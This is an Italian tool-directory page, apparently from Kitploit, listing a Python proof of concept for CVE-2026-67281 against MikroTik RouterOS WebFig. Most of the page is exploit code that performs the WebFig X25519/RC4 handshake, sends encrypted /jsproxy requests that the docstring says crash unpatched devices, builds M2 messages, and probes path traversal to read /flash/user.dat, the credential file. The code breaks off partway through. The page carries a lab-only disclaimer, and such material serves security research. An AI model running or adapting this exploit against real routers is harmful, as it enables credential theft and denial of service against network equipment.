Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281- — PoC in Python per CVE-2026-67281: sfrutta RouterOS WebFig /jsproxy tramite GET con URI cifrato, POST del messaggio M2 e percorsi di traversal statici per leggere /flash/user.dat. | Kitploit
Strumenti/GitHubGitHub/sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-
Sicurezza Sistemi EmbeddedAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebSicurezza di Rete
GitHub
Condividi
sohel160/webfig-jsproxy-unauthenticated-file-read-cve-2026-67281-

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

PoC in Python per CVE-2026-67281: sfrutta RouterOS WebFig /jsproxy tramite GET con URI cifrato, POST del messaggio M2 e percorsi di traversal statici per leggere /flash/user.dat.

Vedi Repository
241 mese faNon ancora revisionato

Webfig-jsproxy-unauthenticated-file-read-CVE-2026-67281-

#!/usr/bin/env python3

-- coding: utf-8 --

""" CVE-2026-67281 — variante di lettura file tramite RouterOS WebFig /jsproxy.

Tenta di leggere /flash/user.dat attraverso tre percorsi di codice indipendenti:

Percorso A — GET con URI cifrato (GET /jsproxy/?) Raggiunge nv::findFile dopo decifratura + authz. Va in crash su 7.21.5 non patchato a causa del bug della session list_head; ci si aspetta che funzioni dopo che MikroTik avrà corretto la DoS.

Percorso B — POST messaggio M2 (POST /jsproxy con body M2) Usa nv::Handler::handle → checkAccess → is_allowed. Non tocca il percorso di decifratura che causa il crash. Richiede il corretto namespace cmd, che questo script enumera.

Percorso C — GET statico diretto (GET /webfig/) Serve file statici da /home/web/. Include sonde di base per il path traversal contro la radice di servizio.

Ogni percorso è indipendente. Lo script li esegue in ordine e riporta cosa ha funzionato, senza ritentare dopo un crash.

Solo per uso in laboratorio autorizzato. """

import hashlib import secrets import struct import sys import time

import requests from cryptography.hazmat.primitives.asymmetric.x25519 import ( X25519PrivateKey, X25519PublicKey) from cryptography.hazmat.primitives.serialization import ( Encoding, PublicFormat)

---------------------------------------------------------------------

Costanti del protocollo

---------------------------------------------------------------------

MAGIC_SEND = (b"On the client side, this is the send key; " b"on the server side, it is the receive key.") MAGIC_RECV = (b"On the client side, this is the receive key; " b"on the server side, it is the send key.")

SAFE = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz" b"0123456789-_.~")

Tag del tipo di campo M2 (primi 5 bit dell'header di campo da 4 byte)

FT_BOOL, FT_U32, FT_STRING, FT_RAW, FT_U32_ARRAY =
0 << 27, 1 << 27, 4 << 27, 6 << 27, 17 << 27 FS_SHORT, FS_LONG = 1 << 24, 1 << 25

---------------------------------------------------------------------

RC4-drop-768

---------------------------------------------------------------------

class RC4: def init(self): self.S = list(range(256)) self.i = self.j = 0

def set_key(self, key: bytes) -> None:
    if not key:
        raise ValueError("empty RC4 key")
    self.S = list(range(256))
    self.i = self.j = 0
    j = 0
    for i in range(256):
        j = (j + self.S[i] + key[i % len(key)]) & 0xff
        self.S[i], self.S[j] = self.S[j], self.S[i]
    for _ in range(768):
        self.gen()

def gen(self) -> int:
    self.i = (self.i + 1) & 0xff
    self.j = (self.j + self.S[self.i]) & 0xff
    self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
    return self.S[(self.S[self.i] + self.S[self.j]) & 0xff]

def crypt(self, data: bytes) -> bytes:
    return bytes(v ^ self.gen() for v in data)

---------------------------------------------------------------------

KDF / X25519

---------------------------------------------------------------------

def webfig_kdf(master: bytes, is_send: bool, is_server: bool) -> bytes: v = bytearray(master) v.extend(b"\x00" * 40) v.extend(MAGIC_RECV if is_send == is_server else MAGIC_SEND) v.extend(b"\xf2" * 40) return hashlib.sha1(v).digest()[:16]

def client_public(priv_raw: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.public_key().public_bytes( Encoding.Raw, PublicFormat.Raw)[::-1]

def shared_secret(priv_raw: bytes, srv_pub: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.exchange( X25519PublicKey.from_public_bytes(srv_pub[::-1]))[::-1]

---------------------------------------------------------------------

Codifica URI fedele a JS

---------------------------------------------------------------------

def encode_uri_component(data: bytes) -> str: out = [] for b in data: if b in SAFE: out.append(chr(b)) elif b < 0x80: out.append(f"%{b:02X}") elif b < 0xC0: out.append(f"%C2%{b:02X}") else: out.append(f"%C3%{(b - 0x40):02X}") return "".join(out)

---------------------------------------------------------------------

Handshake

---------------------------------------------------------------------

def handshake(base: str, http: requests.Session, timeout=10.0): priv = secrets.token_bytes(32) pub = client_public(priv) r = http.post( base + "/jsproxy", data=b"\x00" * 8 + pub, headers={"Content-Type": "msg", "Accept-Language": "", "Connection": "close"}, timeout=timeout) if r.status_code != 200 or len(r.content) != 40: raise RuntimeError(f"handshake HTTP {r.status_code} len={len(r.content)}") sid = struct.unpack(">I", r.content[:4])[0] master = shared_secret(priv, r.content[8:40]) tx = RC4(); tx.set_key(webfig_kdf(master, True, False)) rx = RC4(); rx.set_key(webfig_kdf(master, False, False)) return sid, tx, rx

---------------------------------------------------------------------

Path A — encrypted-URI GET

---------------------------------------------------------------------

def path_a_encrypted_get(base, http, uri, timeout=10.0): """ GET /jsproxy/?. On unpatched targets, this crashes www. On patched targets, one of these URIs will return the file. """ result = {"path": "A_encrypted_get", "uri": uri, "status": None, "body": b"", "crashed": False, "error": None}

try:
    sid, tx, _ = handshake(base, http)
except Exception as e:
    result["error"] = f"handshake: {e!r}"
    return result

pt  = uri.encode("utf-8")
seq = 1
enc = tx.crypt(pt)
pad = tx.crypt(b" " * 8)
frame = struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad
url = base + "/jsproxy/?" + encode_uri_component(frame)

try:
    r = http.get(url, timeout=timeout)
    result["status"] = r.status_code
    result["body"] = r.content
except requests.exceptions.ConnectionError as e:
    result["crashed"] = True
    result["error"] = repr(e)
except requests.RequestException as e:
    result["error"] = repr(e)

return result

---------------------------------------------------------------------

Path B — M2 message POST

---------------------------------------------------------------------

def _field_id(idtype: int, name: str) -> bytes: n = int(name[1:], 16) return bytes((n & 0xff, (n >> 8) & 0xff, (n >> 16) & 0xff, (idtype >> 24) & 0xff))

def _u32_short(name, value): return _field_id(FT_U32 | FS_SHORT, name) + bytes((value & 0xff,))

def _u32_long(name, value): return _field_id(FT_U32, name) + struct.pack("<I", value & 0xffffffff)

def _u32arr(name, values): out = _field_id(FT_U32_ARRAY, name) + struct.pack("<H", len(values)) for v in values: out += struct.pack("<I", v) return out

def _str(name, s): raw = s.encode("utf-8") if len(raw) < 256: return _field_id(FT_STRING | FS_SHORT, name) +
bytes((len(raw),)) + raw return _field_id(FT_STRING, name) + struct.pack("<H", len(raw)) + raw

def _bool(name): return _field_id(FT_BOOL | FS_SHORT, name)

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Nessun dato di popolarità ancora.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →